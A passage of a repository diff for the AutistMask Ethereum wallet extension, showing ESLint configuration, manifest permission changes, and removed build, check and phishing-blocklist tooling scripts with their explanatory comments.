// — that is what a best-effort wipe is — and the rule's fix is to delete
// the wipe. 9 sites: approval.js 582, 593, 618, 648, 692, 703, 728, 764
// and confirmTx.js 459. Everything else in the tree is still checked, so
// an ordinary dead store elsewhere is still an error.
{
files: ["src/popup/views/approval.js", "src/popup/views/confirmTx.js"],
rules: {
"no-useless-assignment": "off",
},
},
// Popup and content scripts: page/window context.
{
files: ["src/popup/**/*.js", "src/content/**/*.js"],
languageOptions: {
...commonjs,
globals: { ...globals.browser, ...extensionGlobals },
},
},
// MV3 background: a service worker, with no window and no document.
//
// It also may not reach src/shared/state.js. That module's `state` export
// is a per-bundle singleton loaded once and mutated in place, which is the
// popup's lifetime and not the worker's: the worker is killed when idle,
// nothing loads state at module scope, and an unpopulated read used to be
// served DEFAULT_STATE silently. Five defects came from background code
// reading or writing it (https://git.eeqj.de/sneak/AutistMask/issues/324),
// and each point fix added a loadState() that created the next one. The
// rule below checks reachability through the whole require graph, not just
// the direct require, because a re-export from any shared module the
// background already pulls in would put the singleton back in the bundle
// with no background file naming it.
//
// It is not the guarantee: build.js asserts the same prohibition against
// esbuild's own metafile, from the shared table in
// script/lib/forbiddenBundleInputs.js. This is the early report.
//
// The glob comes from that same file, because build.js uses the prefix to
// decide which entry points must be listed in the table at all: the two
// layers must not disagree about which files are "the background".
{
files: [`${BACKGROUND_ENTRY_PREFIX}**/*.js`],
plugins: { background: backgroundState },
languageOptions: {
...commonjs,
globals: { ...globals.serviceworker, ...extensionGlobals },
},
rules: {
"background/no-state-singleton-in-background": "error",
},
},
// src/shared is bundled into both, so it may only use what both provide:
// the service worker globals are the intersection, plus the extension APIs.
{
files: ["src/shared/**/*.js"],
languageOptions: {
...commonjs,
globals: { ...globals.serviceworker, ...extensionGlobals },
},
},
// src/shared/ens.js is the documented exception to the line above: its own
// header says POPUP ONLY, it caches in localStorage, and only popup views
// require it. Linting it as a service worker would be wrong about the file.
{
files: ["src/shared/ens.js"],
languageOptions: {
...commonjs,
globals: { ...globals.browser, ...extensionGlobals },
},
},
// Unit tests, and the helpers they require: jest on node.
{
files: ["tests/**/*.test.js", "tests/support/**/*.js"],
languageOptions: {
...commonjs,
globals: { ...globals.node, ...globals.jest },
},
},
// The build script is a plain node program.
{
files: ["build.js"],
languageOptions: {
...commonjs,
globals: { ...globals.node },
},
},
// The helpers the script/ entrypoints call: plain node programs too, run
// from a shell script rather than from yarn, and never bundled.
{
files: ["script/lib/**/*.js"],
languageOptions: {
...commonjs,
globals: { ...globals.node },
},
},
// The e2e harnesses are node programs that also carry, inline, the
// callbacks they ship into the browser via page.evaluate — so both
// contexts really are present in the same file and both sets of globals
// are in scope somewhere in it.
{
files: ["tests/e2e/**/*.js"],
languageOptions: {
...commonjs,
globals: {
...globals.node,
...globals.browser,
...extensionGlobals,
},
},
},
// This config file itself.
{
files: ["eslint.config.js"],
languageOptions: {
...commonjs,
globals: { ...globals.node },
},
},
];

View File

@@ -3,12 +3,8 @@
"name": "AutistMask",
"version": "0.1.0",
"description": "Minimal Ethereum wallet for Chrome",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUUYzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kLWoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB",
"permissions": ["storage", "activeTab", "alarms"],
"permissions": ["storage", "activeTab"],
"host_permissions": ["<all_urls>"],
"content_security_policy": {
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
},
"action": {
"default_popup": "src/popup/index.html"
},

View File

@@ -3,8 +3,7 @@
"name": "AutistMask",
"version": "0.1.0",
"description": "Minimal Ethereum wallet for Firefox",
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
"permissions": ["storage", "activeTab", "<all_urls>"],
"browser_action": {
"default_popup": "src/popup/index.html"
},

View File

@@ -7,20 +7,15 @@
"private": true,
"scripts": {
"test": "jest --forceExit",
"test:verbose": "jest --forceExit --verbose",
"build": "node build.js",
"lint": "eslint . && prettier --check .",
"lint": "prettier --check .",
"fmt": "prettier --write .",
"fmt-check": "prettier --check ."
},
"devDependencies": {
"@eslint/js": "10.0.1",
"@tailwindcss/cli": "^4.2.1",
"esbuild": "^0.27.3",
"eslint": "10.8.1",
"globals": "17.11.0",
"jest": "^30.2.0",
"playwright-core": "1.56.0",
"prettier": "^3.8.1",
"tailwindcss": "^4.2.1"
},

View File

@@ -1,143 +0,0 @@
#!/bin/sh
# script/bootstrap: install all dependencies needed to build and develop
# this repo. Idempotent: every install is guarded by a check so already
# installed tools are skipped. Base tooling comes from nix, apt, brew,
# or apk (detected in that order); assumes nothing is present. Node is
# used directly if installed; otherwise it is installed at a pinned
# version via nvm (installing nvm itself first, from a hash-verified
# release archive, never curl | sh).
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Pinned versions, 2026-07-07
NODE_VERSION="22.17.0"
NVM_VERSION="0.40.3"
# sha256 of https://github.com/nvm-sh/nvm/archive/refs/tags/v0.40.3.tar.gz
NVM_SHA256="5f4d6aaa04a177dc93c985e31dbc411ab6b8c6e1e21d8015dbc1372625fcd1d0"
YARN_VERSION="1.22.22"
PKGMGR=""
SUDO=""
APT_UPDATED=""
detect_pkgmgr() {
[ -n "$PKGMGR" ] && return 0
if command -v nix-env >/dev/null 2>&1; then
PKGMGR="nix"
elif command -v apt-get >/dev/null 2>&1; then
PKGMGR="apt"
elif command -v brew >/dev/null 2>&1; then
PKGMGR="brew"
elif command -v apk >/dev/null 2>&1; then
PKGMGR="apk"
else
echo "bootstrap: no supported package manager (nix, apt, brew, apk)" >&2
exit 1
fi
if [ "$PKGMGR" = "apt" ]; then
export DEBIAN_FRONTEND=noninteractive
if [ "$(id -u)" != "0" ]; then
SUDO="sudo"
fi
fi
}
# pkg_install <nix-attr> <apt-pkg> <brew-formula> <apk-pkg>
pkg_install() {
detect_pkgmgr
case "$PKGMGR" in
nix) nix-env -iA "nixpkgs.$1" ;;
apt)
if [ -z "$APT_UPDATED" ]; then
$SUDO env DEBIAN_FRONTEND=noninteractive apt-get update
APT_UPDATED=1
fi
$SUDO env DEBIAN_FRONTEND=noninteractive apt-get install -y "$2"
;;
brew) brew install "$3" ;;
apk) apk add --no-cache "$4" ;;
esac
}
missing() {
! command -v "$1" >/dev/null 2>&1
}
# verify_sha256 <file> <expected-hash>
verify_sha256() {
if command -v sha256sum >/dev/null 2>&1; then
actual="$(sha256sum "$1" | cut -d' ' -f1)"
else
actual="$(shasum -a 256 "$1" | cut -d' ' -f1)"
fi
if [ "$actual" != "$2" ]; then
echo "bootstrap: sha256 mismatch for $1" >&2
echo " expected: $2" >&2
echo " actual: $actual" >&2
exit 1
fi
}
# nvm is a bash script; run a command in a bash with nvm loaded
nvm_sh() {
bash -c ". \"\$HOME/.nvm/nvm.sh\" && $*"
}
ensure_nvm() {
[ -s "$HOME/.nvm/nvm.sh" ] && return 0
# nvm prerequisites; nvm itself requires bash
if missing bash; then pkg_install bash bash bash bash; fi
if missing curl; then pkg_install curl curl curl curl; fi
if missing git; then pkg_install git git git git; fi
tmp="$(mktemp -d)"
curl -fsSL -o "$tmp/nvm.tar.gz" \
"https://github.com/nvm-sh/nvm/archive/refs/tags/v${NVM_VERSION}.tar.gz"
verify_sha256 "$tmp/nvm.tar.gz" "$NVM_SHA256"
mkdir -p "$HOME/.nvm"
tar -xzf "$tmp/nvm.tar.gz" -C "$HOME/.nvm" --strip-components=1
rm -rf "$tmp"
}
ensure_node() {
if ! missing node; then return 0; fi
ensure_nvm
nvm_sh "nvm install $NODE_VERSION"
}
ensure_yarn() {
if ! missing yarn; then return 0; fi
if ! missing corepack; then
corepack enable
corepack prepare "yarn@$YARN_VERSION" --activate
elif [ -s "$HOME/.nvm/nvm.sh" ]; then
nvm_sh "nvm use $NODE_VERSION >/dev/null && corepack enable && \
corepack prepare yarn@$YARN_VERSION --activate"
else
npm install -g "yarn@$YARN_VERSION"
fi
}
install_js_deps() {
if missing yarn && [ -s "$HOME/.nvm/nvm.sh" ]; then
nvm_sh "nvm use $NODE_VERSION >/dev/null && cd \"$ROOT\" && \
yarn install --frozen-lockfile"
else
yarn install --frozen-lockfile
fi
}
main() {
cd "$ROOT"
if missing make; then pkg_install gnumake make make make; fi
if missing git; then pkg_install git git git git; fi
ensure_node
ensure_yarn
install_js_deps
echo "bootstrap complete"
}
main "$@"

View File

@@ -1,16 +0,0 @@
#!/bin/sh
# script/check: run all checks (test, test-verify-build, lint, fmt-check).
# Our own extension to scripts-to-rule-them-all. Must not modify any files.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
main() {
"$SCRIPT_DIR/test"
"$SCRIPT_DIR/test-verify-build"
"$SCRIPT_DIR/check-censored"
"$SCRIPT_DIR/lint"
"$SCRIPT_DIR/fmt-check"
}
main "$@"

View File

@@ -1,301 +0,0 @@
#!/bin/sh
# script/check-censored: assert that the competitor name RULES.md bars appears
# nowhere in this repo, and nowhere in the built extension, except where it is
# deliberate. Our own extension to scripts-to-rule-them-all, run from
# script/check and from make build.
#
# Where the name is allowed, and why each one is not negotiable away:
#
# - script/vendor-blocklist. Build-time tooling, never shipped. A pinned
# source reference that does not say what the source is cannot be verified
# by anyone, so it names it. Whole-file exemption.
# - the two provider-shim identifiers in src/content/inpage.js. Protocol
# identifiers dApps feature-detect on; renaming them does not rename them in
# their code, it only stops this wallet working on their sites.
# - the on-chain name of the MUSD ERC-20 in src/shared/tokenList.js. It is not
# what backs symbol-spoof detection — that reads symbol and address — but
# the wallet already surfaces the on-chain name of any token the user holds
# (src/shared/balances.js), and this contract's on-chain name is that
# string, so censoring the repo cannot stop the wallet displaying it.
# Dropping the entry instead would cost the user MUSD spoof detection.
#
# Everything else fails, in the working tree and under dist/. The last two are
# literals rather than whole files, so they are enforced by counting, and each
# literal is scoped to the path allowed to carry it: a file may contain the name
# only as many times as it contains the literals permitted *there*, and zero
# times anywhere else. The emitted bundles carry them too, so a plain "the name
# must not appear in dist/" could never have passed.
#
# The name itself is not written in this file. script/vendor-blocklist is the
# one place in this repo that defines it, and this reads it back out of there —
# so the repo-wide grep this check exists to enforce keeps returning exactly the
# files named above, and this file is not one of them.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere: the
# scan half runs in a re-invocation through xargs, so that the paths it works on
# arrive as arguments and cannot be reshaped by field splitting on the way in.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag. Not part of the command-line interface.
SCAN_FLAG="--scan-paths"
VENDOR_SCRIPT="$ROOT/script/vendor-blocklist"
# Set by extract_name / make_literals_file.
NAME=""
ALLOWED_LITERALS_FILE=""
FAILED=0
cleanup() {
[ -z "$ALLOWED_LITERALS_FILE" ] || rm -f "$ALLOWED_LITERALS_FILE"
}
trap cleanup EXIT INT TERM
fail() {
echo "check-censored: FAIL: $*" >&2
exit 1
}
# The name, taken from the single place that defines it. A check scanning for a
# pattern it failed to read would pass against anything, so this refuses to
# continue unless it got something that looks like the definition.
extract_name() {
[ -f "$VENDOR_SCRIPT" ] ||
fail "$VENDOR_SCRIPT is missing, and it is where the name being
checked for is defined. Nothing was scanned."
NAME="$(grep -m1 '^UPSTREAM_ORG=' "$VENDOR_SCRIPT" | cut -d'"' -f2)" ||
fail "could not read UPSTREAM_ORG from $VENDOR_SCRIPT. Nothing was
scanned."
case "$NAME" in
"" | *[!A-Za-z0-9]*)
fail "UPSTREAM_ORG in $VENDOR_SCRIPT did not yield a plain name
(got: '$NAME'). Scanning for that would prove nothing. Nothing was
scanned."
;;
esac
}
make_literals_file() {
ALLOWED_LITERALS_FILE="$(mktemp \
"${TMPDIR:-/tmp}/autistmask-censored.XXXXXX")" ||
fail "could not create a temporary file, so nothing was scanned."
}
# The literals $1 may carry, and nothing else may. Each contains the name
# exactly once, which is what makes counting them sound; each is scoped to its
# path, so a file with no business carrying the name fails even when it spells
# it the way shipped code has to. Scoping is the point: permitting these
# literals in any file is what once let this check pass its own prose.
#
# The emitted paths are listed next to the sources they come from. If the
# bundler moves one, this goes red and the new path gets added deliberately,
# rather than a wildcard over dist/ covering whatever lands there.
allowed_literals_for() {
: >"$ALLOWED_LITERALS_FILE"
case "$1" in
src/content/inpage.js | dist/*/src/content/inpage.js)
printf 'is%s\n_%s\n' "$NAME" "$NAME" >"$ALLOWED_LITERALS_FILE"
;;
src/shared/tokenList.js | dist/*/src/background/index.js | \
dist/*/src/popup/index.js)
printf '%s USD\n' "$NAME" >"$ALLOWED_LITERALS_FILE"
;;
esac
}
# How many times does $1 contain the name (TOTAL), and how many of those are one
# of the allowed literals (ALLOWED)? Same discipline the rest of this repo's
# shell checks apply to grep: exit 0 and 1 are answers about the file, anything
# else means the file was not searched and is not an answer at all.
count_matches() {
_cm_status=0
_cm_out="$(grep -a -o -i -F -e "$NAME" -- "$1")" || _cm_status=$?
case "$_cm_status" in
0) TOTAL="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
1) TOTAL=0 ;;
*)
fail "grep exited $_cm_status reading $1, so the file was never
searched and nothing was established about it. That is a permissions or I/O
fault, not a clean file. Refusing to report success."
;;
esac
if [ "$TOTAL" -eq 0 ]; then
ALLOWED=0
return 0
fi
# No literal is permitted at this path, so every occurrence is a violation.
# Handled here rather than by grep, which is not required to say anything
# useful about an empty pattern file.
if [ ! -s "$ALLOWED_LITERALS_FILE" ]; then
ALLOWED=0
return 0
fi
_cm_status=0
_cm_out="$(grep -a -o -i -F -f "$ALLOWED_LITERALS_FILE" -- "$1")" ||
_cm_status=$?
case "$_cm_status" in
0) ALLOWED="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
1) ALLOWED=0 ;;
*)
fail "grep exited $_cm_status matching the allowed literals in $1.
Refusing to report success."
;;
esac
}
# The per-path half, run in a re-invocation of this script so it uses the same
# counting as everything else rather than a second copy of it.
scan_paths() {
for _file in "$@"; do
# dist/ arrives absolute (find) and the worktree relative (git
# ls-files). The allowlist is keyed on repo-relative paths, so both
# forms are reduced to one before anything is decided about them.
_rel="$_file"
case "$_rel" in
"$ROOT"/*) _rel="${_rel#"$ROOT"/}" ;;
esac
case "$_rel" in
script/vendor-blocklist) continue ;;
esac
[ -f "$_file" ] || continue
allowed_literals_for "$_rel"
count_matches "$_file"
[ "$TOTAL" -gt "$ALLOWED" ] || continue
FAILED=$((FAILED + 1))
echo "check-censored: $_rel: $TOTAL occurrence(s) of the name," \
"$ALLOWED of them allowed at this path" >&2
grep -a -n -i -F -e "$NAME" -- "$_file" | cut -c1-140 | head -5 >&2
done
[ "$FAILED" -eq 0 ]
}
# Hand a NUL-delimited listing to the scan half. Returns non-zero if any path
# failed, or if the scan could not be run at all.
scan_listing() {
xargs -0 "$SELF" "$SCAN_FLAG" <"$1"
}
# Every file git tracks, plus everything untracked and not ignored: the working
# tree as a reviewer would see it, and never node_modules or dist/ (both are
# ignored; dist/ is walked separately below).
check_worktree() {
_list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-tree.XXXXXX")" ||
fail "could not create a temporary file, so nothing was scanned."
_status=0
git ls-files -z --cached --others --exclude-standard >"$_list" ||
_status=$?
[ "$_status" -eq 0 ] || {
rm -f "$_list"
fail "git ls-files exited $_status, so the working tree was never
enumerated and nothing was established about it."
}
# Repo-relative paths. The scan half cd's to the repo root before it opens
# anything, so they reach it intact and unjoined.
WORKTREE_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
_status=0
scan_listing "$_list" || _status=$?
rm -f "$_list"
return "$_status"
}
check_dist() {
_list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-dist.XXXXXX")" ||
fail "could not create a temporary file, so dist/ was not scanned."
_status=0
find "$ROOT/dist" -type f -print0 >"$_list" || _status=$?
[ "$_status" -eq 0 ] || {
rm -f "$_list"
fail "find exited $_status enumerating dist/, so part of the emitted
tree was never walked and an unchecked file there went unchecked. Refusing
to report success."
}
DIST_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
_status=0
scan_listing "$_list" || _status=$?
rm -f "$_list"
return "$_status"
}
usage() {
echo "usage: script/check-censored [--require-dist]" >&2
exit 2
}
main() {
cd "$ROOT"
# Internal re-entry from scan_listing's xargs.
if [ "${1-}" = "$SCAN_FLAG" ]; then
shift
extract_name
make_literals_file
scan_paths "$@"
return $?
fi
require_dist=no
case "${1-}" in
"") ;;
--require-dist) require_dist=yes ;;
*) usage ;;
esac
extract_name
make_literals_file
echo "Checking for censored names..."
tree_status=0
check_worktree || tree_status=$?
dist_status=0
dist_inspected=no
DIST_COUNT=0
if [ -d "$ROOT/dist" ]; then
dist_inspected=yes
check_dist || dist_status=$?
fi
if [ "$tree_status" -ne 0 ] || [ "$dist_status" -ne 0 ]; then
fail "the name appears outside the deliberate exceptions (reported
above). See the header of script/check-censored for what is allowed and
why."
fi
if [ "$dist_inspected" = no ]; then
if [ "$require_dist" = yes ]; then
fail "there is no dist/ to inspect and this run was asked to
require one. Run make build."
fi
cat <<EOF
################################################################################
## WARNING: dist/ WAS NOT INSPECTED BY THIS RUN AND IS NOT PROVEN CLEAN BY IT.
## There is no dist/ in this tree. The working tree is clean, but a build can
## carry text no source file does — a dependency's, or a bundler's. Every
## make build runs this check again with dist/ required, so a release artifact
## is always covered; this run simply had none to look at.
################################################################################
EOF
fi
echo "check-censored: $WORKTREE_COUNT tracked file(s) inspected," \
"$DIST_COUNT file(s) under dist/"
}
main "$@"

View File

@@ -1,13 +0,0 @@
#!/bin/sh
# script/cibuild: run the CI build. The Dockerfile runs make check, so
# a successful build implies all checks pass.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
main() {
cd "$ROOT"
docker build .
}
main "$@"

View File

@@ -1,78 +0,0 @@
#!/bin/sh
# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
# step fails, remove dist/ before returning its exit status. Our own extension
# to scripts-to-rule-them-all, wrapped around every step of make build.
#
# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
# compiles a debug bundle and then fails on it in script/verify-build — but the
# bundle is already written. It is loadable, and every wallet it creates gets
# the publicly committed test recovery phrase from src/shared/constants.js. A
# failed release build that leaves that behind is a smaller version of the trap
# the verifier exists to close, and "the failure was loud" only works on an
# operator who does not load dist/chrome/ anyway. Removing the artifact does not
# depend on that.
#
# Two things this deliberately does not do. It does not wrap make build-debug: a
# debug build that failed is not a mistakable artifact, and its output is the
# evidence of what went wrong. And it never removes anything on a step that
# SUCCEEDS, including the final check-censored --require-dist pass.
#
# The removal is never silent: it says dist/ is gone and why, on stderr, above
# the build's own failure.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
DIST="$ROOT/dist"
usage() {
echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
}
# Remove dist/, and say so. A removal that could not be completed is reported as
# loudly as one that was: the artifact is still on disk, and reporting nothing
# would leave the operator believing it is not.
discard_dist() {
if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
echo "discard-dist-on-failure: the release build failed. There was no" \
"dist/ to remove." >&2
return 0
fi
rm -rf "$DIST" || true
if [ -e "$DIST" ] || [ -h "$DIST" ]; then
echo "discard-dist-on-failure: the release build failed and dist/" \
"COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
"a release build that failed may hold a complete debug bundle," \
"whose wallets all use the publicly committed test recovery" \
"phrase. Remove it by hand (make clean)." >&2
return 0
fi
echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
"REMOVED and no longer exists. A release build that fails has often" \
"already emitted a complete, loadable debug bundle — every wallet it" \
"creates gets the publicly committed test recovery phrase — so the" \
"failed build is not left behind to be loaded. Fix the failure and" \
"re-run make build, or run make build-debug if a debug build is what" \
"was wanted; that target keeps its output." >&2
}
main() {
[ "$#" -ge 1 ] || {
usage
echo "discard-dist-on-failure: no command given, so no build step ran" \
"and nothing was removed." >&2
exit 1
}
_status=0
"$@" || _status=$?
[ "$_status" -ne 0 ] || return 0
discard_dist
exit "$_status"
}
main "$@"

View File

@@ -1,14 +0,0 @@
#!/bin/sh
# script/docker: build the Docker image tagged with the project name.
# Identical in all repos; the tag comes from script/projectname.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
main() {
cd "$ROOT"
docker build -t "$("$SCRIPT_DIR/projectname")" .
}
main "$@"

View File

@@ -1,13 +0,0 @@
#!/bin/sh
# script/fmt: format all files (writes).
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
main() {
cd "$ROOT"
echo "Formatting..."
yarn run fmt 2>&1
}
main "$@"

View File

@@ -1,14 +0,0 @@
#!/bin/sh
# script/fmt-check: check formatting (read-only). Same scope as
# script/fmt, but fails instead of writing.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
main() {
cd "$ROOT"
echo "Checking formatting..."
yarn run fmt-check 2>&1
}
main "$@"

View File

@@ -1,16 +0,0 @@
#!/bin/sh
# script/install-precommit: install the git pre-commit hook that runs
# script/precommit. Our own extension to scripts-to-rule-them-all.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
main() {
cd "$ROOT"
hook=".git/hooks/pre-commit"
printf '#!/bin/sh\nset -e\nscript/precommit\n' > "$hook"
chmod +x "$hook"
echo "pre-commit hook installed: runs script/precommit"
}
main "$@"

View File

@@ -1,147 +0,0 @@
// The transform half of script/vendor-blocklist: upstream's config.json in,
// src/shared/phishingBlocklist.json out. Build-time repo tooling; nothing here
// is shipped to users.
//
// Usage: node script/lib/build-blocklist.js <source.json> <output.json>
//
// What it does, and why each step is here:
//
// - only the blacklist is carried over. The extension matches a hostname and
// its parent domains against that one list; upstream's whitelist, fuzzylist
// and version metadata are read by nothing here, so shipping them would add
// megabytes of dead weight to every install.
// - entries are lowercased and de-duplicated, because that is the form
// isPhishingDomain() compares against.
// - entries that cannot be a hostname are dropped and counted. Upstream
// carries the odd URL-shaped entry (a path, a scheme); hostname matching can
// never match one, and once the artifact is hashes nobody can see that it is
// in there, so it is reported at vendoring time instead.
// - entries are hashed (see src/shared/domainHash.js) and sorted, and the
// digests are concatenated into one fixed-width string. Sorted is what makes
// the runtime lookup a binary search over that string, with no set to build
// on every service-worker wake; one string rather than an array of 100k+ is
// what keeps the file, the bundle and the JSON parse small.
//
// Deterministic by construction: same input bytes, same output bytes.
"use strict";
const fs = require("fs");
const {
HASH_ALGORITHM,
HASH_HEX_CHARS,
hashDomain,
} = require("../../src/shared/domainHash");
// A blocklist that has collapsed to a handful of entries is a broken fetch or a
// changed upstream shape, not a quiet day in phishing. Vendoring it would
// disarm the feature, so it fails instead and a human decides.
const MIN_ENTRIES = 10000;
function fail(message) {
process.stderr.write("build-blocklist: " + message + "\n");
process.exit(1);
}
// A hostname, as the matcher understands one: dot-separated labels of letters,
// digits, hyphens and underscores. Anything else — a path, a scheme, a space,
// an empty string, a non-ASCII label a browser would have punycoded before it
// ever reached isPhishingDomain() — cannot be produced by the hostname variants
// the extension looks up, so it could only ever sit in the artifact unused.
//
// Underscores are deliberate. They are not legal in a hostname per RFC 1123,
// but DNS carries them and browsers resolve them, and upstream lists 141 entries
// that use one — real phishing sites on shared subdomain hosts. A stricter
// pattern silently drops every one of them.
const HOSTNAME_RE =
/^[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?(\.[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?)+$/;
function main(argv) {
const [source, output] = argv;
if (!source || !output) {
fail("usage: build-blocklist.js <source.json> <output.json>");
}
let config;
try {
config = JSON.parse(fs.readFileSync(source, "utf8"));
} catch (e) {
fail("could not read " + source + " as JSON: " + e.message);
}
if (!Array.isArray(config.blacklist)) {
fail(
"the source has no blacklist array, so its shape is not the one " +
"this transform understands. Refusing to write an artifact.",
);
}
const seen = new Set();
let dropped = 0;
for (const raw of config.blacklist) {
if (typeof raw !== "string") {
dropped++;
continue;
}
const domain = raw.trim().toLowerCase();
if (!HOSTNAME_RE.test(domain)) {
dropped++;
continue;
}
seen.add(domain);
}
if (seen.size < MIN_ENTRIES) {
fail(
"the source yielded " +
seen.size +
" usable entries, below the " +
MIN_ENTRIES +
" floor. That is a broken source or a changed upstream " +
"shape, and vendoring it would disarm phishing detection. " +
"Refusing to write an artifact.",
);
}
const hashes = [];
for (const domain of seen) hashes.push(hashDomain(domain));
hashes.sort();
// Truncation makes collisions possible; they are harmless (both entries are
// blocked either way) but they must not inflate the count the artifact
// claims, which the runtime cross-checks against the string length.
const unique = [];
for (const hash of hashes) {
if (unique.length === 0 || unique[unique.length - 1] !== hash) {
unique.push(hash);
}
}
const artifact = {
algorithm: HASH_ALGORITHM,
hashHexChars: HASH_HEX_CHARS,
count: unique.length,
hashes: unique.join(""),
};
// Four-space JSON with a trailing newline: what prettier emits for this
// shape, so a vendored artifact passes make fmt-check untouched.
fs.writeFileSync(output, JSON.stringify(artifact, null, 4) + "\n");
process.stdout.write(
"build-blocklist: " +
config.blacklist.length +
" source entries -> " +
seen.size +
" usable domains -> " +
unique.length +
" digests (" +
dropped +
" not hostnames, " +
(seen.size - unique.length) +
" digest collisions)\n",
);
}
main(process.argv.slice(2));

View File

@@ -1,206 +0,0 @@
// ESLint rule: the background bundle may not reach the shared state singleton.
//
// src/shared/state.js holds a module-level `state` object, loaded once by
// loadState() and mutated in place from then on. That is the popup's model. In
// the MV3 service worker there is no "once": the worker is terminated when
// idle and revived by the next message, nothing loads state at module scope,
// and an unpopulated read used to be served DEFAULT_STATE without complaint —
// five defects, one cause
// (https://git.eeqj.de/sneak/AutistMask/issues/324). The background has its
// own per-call storage layer in src/background/state.js instead.
//
// THIS RULE IS NOT THE GUARANTEE, and must not be described as one. The
// guarantee is in build.js: FORBIDDEN_INPUTS / assertNoForbiddenInputs() fails
// the build when esbuild's own metafile reports src/shared/state.js as an input
// of a background bundle. That consults the resolution esbuild actually
// performed, so no specifier syntax and no resolution rule can slip past it,
// and Dockerfile:42 runs `make build` in CI.
//
// What this rule is: fast local feedback, in the editor and in `make lint`,
// before a full bundle. It reads sources from disk and matches import
// specifiers TEXTUALLY, so it is a best-effort approximation of module
// resolution — a hand-rolled matcher will diverge from a real bundler, and two
// earlier revisions of this file proved it by shipping holes (a template
// literal, a dynamic `import()`, a comment inside the call, a directory
// resolved through `package.json` `main`). Those are all covered now, and the
// next divergence is caught by the build rather than by widening this again.
//
// It checks REACHABILITY, not just the direct require: the singleton is one
// `require()` away from any shared module the background pulls in, and a
// re-export would put it back in the bundle without any background file naming
// it. So each background file is the root of a walk over the CommonJS require
// graph, and the error names the whole chain that brought the singleton in.
//
// Matching textually over-approximates — a specifier inside a comment or a
// string counts — which is the safe direction here: the failure mode is a
// spurious error naming an exact file and line, not a silent hole.
//
// Two shapes this rule does NOT report, both of which the build does fail on
// (each measured with `make lint` and `make build` on the branch that added
// this note):
//
// - a computed specifier, `require("../shared/" + "state")` — esbuild
// constant-folds it, so it is in the bundle and `make build` is exit 2
// naming src/shared/state.js, while `make lint` is exit 0. Same for
// `import("../shared/" + variable)`, which esbuild resolves as a glob.
// - a symlink to the module — esbuild reports the real path and fails the
// build; this rule resolves the link's own path and sees a different file.
//
// Both are pinned as non-reports in tests/backgroundStateLintRule.test.js, so
// this list is a measured description of the rule rather than a claim about
// it. They are known divergences, not things that cannot happen. A
// matcher will keep diverging from a bundler; that is why the guarantee is the
// build's and this rule is not widened again to chase them.
const fs = require("fs");
const path = require("path");
const { FORBIDDEN_INPUTS } = require("../forbiddenBundleInputs");
// The modules to keep out, repo-relative, taken from the same table build.js
// asserts against so that the two layers cannot name different paths. A second
// literal copy here is how a rename disarms one of them while the other still
// looks enforced.
const FORBIDDEN = [...new Set(Object.values(FORBIDDEN_INPUTS).flat())];
// Whatever may sit between a keyword, a paren and a specifier: whitespace and
// comments. `import(/* webpackChunkName: "x" */ "./x")` is a standard bundler
// idiom, and an inline `/* eslint-… */` is just as ordinary, so a matcher that
// allows only \s there is not strict, it is broken. Each alternative starts
// with a distinct character, so this cannot backtrack quadratically.
const GAP = "(?:\\s|/\\*[^]*?\\*/|//[^\\n]*)";
const SPECIFIER = "[\"'`]([^\"'`]+)[\"'`]";
// Both alternatives capture the specifier: call form first
// (`require(...)`/`import(...)`), then clause form (`from "x"`, and the bare
// side-effect `import "x"`). Nothing after the specifier is matched, so a
// trailing comment or a trailing comma cannot break the match either.
const SPECIFIER_RE = new RegExp(
`\\b(?:require|import)${GAP}*\\(${GAP}*${SPECIFIER}` +
`|\\b(?:from|import)${GAP}+${SPECIFIER}`,
"g",
);
// The `main` of a directory's package.json, as a specifier relative to that
// directory, or null. esbuild resolves a directory through it, so a walk that
